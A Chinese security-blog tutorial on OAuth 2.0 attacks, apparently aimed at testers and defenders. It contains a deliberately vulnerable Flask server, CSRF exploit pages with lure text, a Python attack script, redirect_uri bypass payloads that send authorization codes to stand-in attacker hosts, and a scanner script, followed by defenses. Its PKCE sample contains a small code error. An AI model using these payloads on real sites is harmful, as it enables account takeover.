PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】OAuth 2.0安全攻击指南:从CSRF到Account Takeover(含完整PoC与防御方案)

📅 2026年6月12日 📁 Hermes Agent ⏱ 7 分钟

适合人群:初中级安全测试人员、Web开发安全工程师、SRC漏洞挖掘者

前置知识:HTTP协议基础、Cookie/Session机制、OAuth 2.0基本流程概念

一、前置准备

工具安装


# 靶场搭建(OAuth 2.0 测试环境)
docker pull vulnerables/web-oauth2
# 或使用 PortSwigger OAuth Labs(在线靶场)
# https://portswigger.net/web-security/oauth

# Python 依赖
pip3 install requests flask beautifulsoup4

# Burp Suite(核心抓包工具),建议安装以下插件:
# - Burp OAuth Scanner(BApp Store)
# - JWT Editor(处理JWT令牌)

本地靶场搭建


cat > oauth_test_server.py << 'EOF'
from flask import Flask, request, redirect, jsonify
import base64, json

app = Flask(__name__)

# 模拟 OAuth 授权服务器
CLIENTS = {
    "malicious_app": {"redirect_uris": ["https://attacker.com/callback"]},
    "legit_app": {"redirect_uris": ["https://legit.com/callback"]}
}

@app.route('/oauth/authorize')
def authorize():
    client_id = request.args.get('client_id')
    redirect_uri = request.args.get('redirect_uri')
    # 🔴 漏洞:未校验 redirect_uri 是否在白名单中
    code = base64.b64encode(b"admin:token").decode()
    return redirect(f"{redirect_uri}?code={code}")

@app.route('/oauth/token')
def token():
    code = request.args.get('code')
    redirect_uri = request.args.get('redirect_uri')
    # 🔴 漏洞:未校验 redirect_uri 与授权请求时一致
    access_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx"
    return jsonify({"access_token": access_token, "token_type": "bearer"})

@app.route('/api/userinfo')
def userinfo():
    auth = request.headers.get('Authorization', '')
    if auth.startswith('Bearer '):
        return jsonify({"username": "admin", "email": "admin@target.com"})
    return jsonify({"error": "unauthorized"}), 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
EOF

二、核心原理

OAuth 2.0 是什么?

OAuth 2.0 是一个授权框架,允许第三方应用获取用户在某平台上的有限资源访问权限——而无需交出密码。


用户 → 第三方APP → 授权服务器 → 资源服务器
 └── 输入密码 ──→ (获取授权码) ──→ (返回令牌)
     (密码只给授权服务器,不给第三方APP)

四种授权模式

模式流程安全风险
授权码模式(最常用)用户→授权码→令牌CSRF、redirect_uri 篡改
隐式模式(已废弃)直接返回令牌令牌泄露、无客户端认证
密码模式用户名+密码直接换令牌密码被第三方应用获取
客户端凭证模式仅服务端使用密钥泄露风险

核心攻击面


┌─────────────────────────────────────────────┐
│               OAuth 2.0 攻击面                │
├─────────────────────────────────────────────┤
│ 1. CSRF on Authorization Code → Account Takeover
│ 2. redirect_uri 绕过 → 授权码劫持
│ 3. 未绑定状态参数 → 替换用户身份
│ 4. 开放重定向 → 令牌泄露到攻击者服务器
│ 5. OAuth Token 泄露 → 直接接管账户
│ 6. PKCE 缺失 → 授权码拦截
│ 7. 跨租户攻击 → 越权访问其他租户资源
└─────────────────────────────────────────────┘

三、实操步骤

🔴 攻击一:OAuth CSRF + Account Takeover(最经典)

Step 1:理解攻击链

攻击者利用授权码与用户会话未绑定的缺陷,让受害者的授权码被攻击者使用。


正常流程:
用户A → 发起登录 → 获取授权码 code=xxx → 浏览器重定向
     → 第三方APP用code换token → 登录用户A的账号

攻击流程:
1. 攻击者自己发起OAuth登录,拿到自己的授权码 code=attacker_code
2. 攻击者构造恶意链接:/callback?code=attacker_code
3. 诱骗受害用户点击该链接
4. 受害者的会话绑定到攻击者的账号 → Account Takeover(攻击者账号)

Step 2:PoC — 缺少 state 参数的 CSRF


# 正常登录请求
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com/callback&response_type=code&scope=openid"

# 服务端返回重定向到 callback?code=xxxx
# 观察:URL 中没有 state 参数 ❌

Step 3:构造攻击网页


<!-- attacker_exploit.html -->
<html>
<body>
  <h1>🎉 您获得了一张优惠券!点击领取</h1>
  <!-- 攻击者预先获取的授权码 -->
  <img src="https://target.com/callback?code=attacker_pre_authorized_code"
       style="display:none">
  <script>
    // 或者通过自动提交表单
    window.location = "https://target.com/callback?code=attacker_pre_authorized_code";
  </script>
</body>
</html>

影响:受害者的 OAuth 登录会话被绑定到攻击者的账号,攻击者查看受害者的「个人资料页面」时看到的是攻击者的数据。在实际场景中,这意味着:

  • 如果此 OAuth 是绑定已有账号,攻击者可以绑定自己的社交账号到受害者的账户
  • 受害者下次登录时,进入的是攻击者的账号(或账号被接管)

Step 4:Python 自动化攻击脚本


import requests
import random
import string

# 配置
AUTH_URL = "https://target.com/oauth/authorize"
CALLBACK_URL = "https://target.com/callback"
CLIENT_ID = "legit_app"
REDIRECT_URI = "https://legit.com/callback"
ATTACKER_SERVER = "https://attacker.com/steal"

class OAuthAttacker:
    def __init__(self):
        self.session = requests.Session()

    def get_authorization_code(self):
        """攻击者自己获取授权码"""
        params = {
            "client_id": CLIENT_ID,
            "redirect_uri": REDIRECT_URI,
            "response_type": "code",
            "scope": "openid profile",
            # 注意:无 state 参数 — 漏洞点
        }
        resp = self.session.get(AUTH_URL, params=params, allow_redirects=False)
        if resp.status_code == 302:
            location = resp.headers.get("Location", "")
            code = location.split("code=")[-1].split("&")[0]
            return code
        return None

    def build_exploit_html(self, code):
        """生成攻击页面"""
        csrf_url = f"{CALLBACK_URL}?code={code}"
        return f'''<html><body>
<h1>🎮 点击领取游戏礼包</h1>
<img src="{csrf_url}" style="display:none" onerror="this.style.display='none'">
<script>window.location="{csrf_url}";</script>
</body></html>'''

attacker = OAuthAttacker()
evil_code = attacker.get_authorization_code()
print(f"[+] 获取到授权码: {evil_code}")
print(f"[+] 攻击页面:\n{attacker.build_exploit_html(evil_code)}")

🔴 攻击二:redirect_uri 绕过

原理

授权服务器在颁发授权码时,应该校验 redirect_uri 是否在客户端注册的白名单中。但很多实现校验不严格,导致攻击者可以篡改回调地址,将授权码发送到自己的服务器。


# 正常请求
GET /oauth/authorize?client_id=app123&redirect_uri=https://legit.com/callback&response_type=code

# 攻击者篡改 redirect_uri
GET /oauth/authorize?client_id=app123&redirect_uri=https://attacker.com/steal&response_type=code

绕过方式速查表

绕过方式Payload说明
路径遍历https://legit.com/callback/../attacker.com/利用路径穿越
子域名劫持https://legit.com.attacker.com/callback利用子域名解析
开放重定向https://legit.com/redirect?url=https://attacker.com利用跳转接口
参数注入https://legit.com/callback?continue=https://attacker.com参数污染
通配符绕过https://attacker.com/legit.com/callback部分校验只检查包含
双斜杠https://legit.com//attacker.com/callback浏览器容错处理
# 锚点https://legit.com#https://attacker.com# 后的内容不发送到服务器

# 测试 redirect_uri 校验松紧度
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://attacker.com/steal&response_type=code"
# 如果302跳转到 attacker.com → 存在漏洞 ✅

# 测试子域名绕过
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com.attacker.com/&response_type=code"

# 测试路径遍历
curl -v "https://target.com/oauth/authorize?client_id=app123&redirect_uri=https://target.com/callback/../../../attacker.com/&response_type=code"

🔴 攻击三:授权码拦截(无PKCE)

PKCE(Proof Key for Code Exchange)是授权码模式的增强安全机制,用于防止授权码被拦截后的令牌交换。如果未使用 PKCE,攻击者只要拿到授权码就能直接换令牌。


# 缺少 PKCE 参数(code_challenge 不存在)
GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code

# 正确的 PKCE 请求
GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback
    &response_type=code
    &code_challenge=YzgxYjYw...  ← 必填
    &code_challenge_method=S256  ← 必填

四、绕过技术

4.1 state 参数绕过

即使服务端要求 state 参数,有时校验也有缺陷:


# ❌ 漏洞:state 只是返回给客户端,未与会话绑定
@app.route('/callback')
def callback():
    state = request.args.get('state')
    # 只是记录 state 但没校验是否与发起请求时的 state 一致
    code = request.args.get('code')
    return exchange_token(code)

绕过检测


# 固定 state 值,两次请求用同一个
curl "https://target.com/callback?code=xxxx&state=12345"
curl "https://target.com/callback?code=yyyy&state=12345"
# 如果都成功 → state 校验形同虚设

4.2 开放重定向链式利用

如果目标 OAuth 服务本身有开放重定向,可以链式利用:


# 找到目标的开放重定向接口
curl -v "https://target.com/redirect?url=https://attacker.com/steal"

# 将其作为 redirect_uri
curl "https://target.com/oauth/authorize?client_id=app&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal&response_type=code"

4.3 隐式模式令牌泄露

如果目标仍然使用隐式模式(不推荐),令牌直接在 URL 片段中返回:


HTTP/1.1 302 Found
Location: https://attacker.com/callback#access_token=eyJhbGci...&token_type=bearer&expires_in=3600

攻击者可以通过 Referer 头、浏览器历史、日志记录等方式获取令牌。

五、实战案例复盘

案例:某社交平台 OAuth 绑定功能 Account Takeover

目标:某社交平台允许用户通过 Google/GitHub OAuth 绑定已有账号

漏洞链


1. 注册页面 /bind-oauth 缺少 state 参数
2. 授权码与用户会话未绑定
3. 攻击者获取自己的授权码
4. 构造 CSRF 链接诱骗受害者访问
5. 受害者的账号被绑定到攻击者的社交账号
6. 攻击者用社交账号登录 → 进入受害者的账号 → Account Takeover

PoC 步骤


# Step 1: 攻击者获取自己的授权码
# (用攻击者的浏览器发起 OAuth 授权)
GET https://target.com/oauth/authorize?client_id=social-login&redirect_uri=https://target.com/callback&response_type=code&scope=email

# 302 到 callback?code=attacker_code_xyz

# Step 2: 构造 CSRF PoC
echo '<form action="https://target.com/callback" method="GET">
<input name="code" value="attacker_code_xyz">
</form>
<script>document.forms[0].submit()</script>' > /tmp/poc.html

# Step 3: 诱骗已登录受害者访问 poc.html
# 受害者浏览器自动提交带攻击者授权码的请求

# Step 4: 验证
# 攻击者用自己社交账号登录后,发现进入了受害者的个人主页
# → Account Takeover 完成 ✅

漏洞根因

  • 授权码发放时未绑定用户 session
  • callback 端点未校验 state 参数
  • 绑定操作未要求用户二次确认

六、防御建议

防御措施实现方式防范的攻击
必须使用 state 参数生成随机不可预测的 state,在 callback 时严格比对CSRF
严格校验 redirect_uri只允许完整匹配已注册的 URI(含路径)授权码劫持
必须使用 PKCEcode_challenge + code_verifier 双因子验证授权码拦截
授权码绑定用户会话用户确认授权后再发放CSRF
令牌绑定(DPoP)令牌与客户端密钥绑定,防止被盗用令牌泄露
Short-lived token令牌有效期设为 5-15 分钟令牌窃取
CORS 限制只允许已注册的 origin令牌泄露

PKCE 实现示例


import secrets, hashlib, base64

# 客户端生成
code_verifier = secrets.token_urlsafe(64)
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).rstrip('=').decode()

# 第一步:带 code_challenge 的授权请求
auth_url = f"https://target.com/oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code&code_challenge={code_challenge}&code_challenge_method=S256"

# 第二步:用 code_verifier 换令牌
token_resp = requests.post("https://target.com/oauth/token", data={
    "grant_type": "authorization_code",
    "code": authorization_code,
    "redirect_uri": "https://app.com/callback",
    "client_id": "app",
    "code_verifier": code_verifier  # 只有客户端知道
})

七、常见陷阱

陷阱说明
state 用固定值很多人加了 state 但永远是 "123456",形同虚设
redirect_uri 用前缀匹配写白名单时用 startsWith("https://target.com"),导致 target.com.evil.com 通过
未限制 grant_type服务端同时接受 code 和 token 参数,混合攻击
授权码不过期授权码没有有效期,攻击者可以慢慢利用
资源服务器未校验令牌拿到令牌后直接访问资源,没有校验 scope
未校验 client_secret某些实现中 token 端点不需要 client_secret
Authorization header 记录在日志Bearer token 出现在日志/Referer中泄露

八、总结(含速查表)

OAuth 2.0 安全测试步骤


1. 确定 OAuth 模式(授权码/隐式/密码/客户端凭证)
2. 检查 state 参数是否存在且随机
3. 测试 redirect_uri 校验(子域名/路径遍历/开放重定向)
4. 检查 PKCE 是否存在(code_challenge 参数)
5. 测试授权码能否在异地使用
6. 验证 token 端点是否需要 client_secret
7. 测试令牌是否能越权访问资源
8. 检查 refresh token 是否可重用

Payload 速查表

测试点Payload / 命令
缺失 state?client_id=app&redirect_uri=https://app.com/cb&response_type=code
redirect_uri 子域名绕过redirect_uri=https://target.com.evil.com/cb
redirect_uri 路径遍历redirect_uri=https://target.com/cb/../../../evil.com/
redirect_uri 开放重定向redirect_uri=https://target.com/redirect?url=https://evil.com
授权码重放两次用同一 code 换 token,看是否都成功
PKCE 缺失检测看 authorize 请求是否有 code_challenge 参数
state 固定值看 state 是否总是 "123456" 或可预测
token 越权修改 token 的 user_id claim 后发送
无 client_secret跳过 client_secret 参数看是否仍能换 token

# 一键检测 OAuth 端点安全
cat > oauth_check.sh << 'SHELL'
#!/bin/bash
TARGET="$1"
CLIENT_ID="$2"
echo "=== OAuth 安全检测 ==="

# 1. 检查 state
echo "[1] 检查 state 参数..."
curl -sv "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=https://$TARGET/cb&response_type=code" 2>&1 | grep -i "state=" || echo "  ⚠️ 无 state 参数"

# 2. 测试 redirect_uri 绕过
echo "[2] 测试 redirect_uri 绕过..."
for uri in "https://attacker.com" "https://$TARGET.attacker.com" "https://$TARGET/../attacker.com"; do
  status=$(curl -so /dev/null -w "%{http_code}" "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$uri&response_type=code")
  echo "  $uri → $status"
done

# 3. 检查 PKCE
echo "[3] 检查 PKCE..."
curl -sv "https://$TARGET/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=https://$TARGET/cb&response_type=code" 2>&1 | grep -i "code_challenge" || echo "  ⚠️ 无 PKCE 参数"
SHELL
chmod +x oauth_check.sh
./oauth_check.sh target.com app123
← 返回首页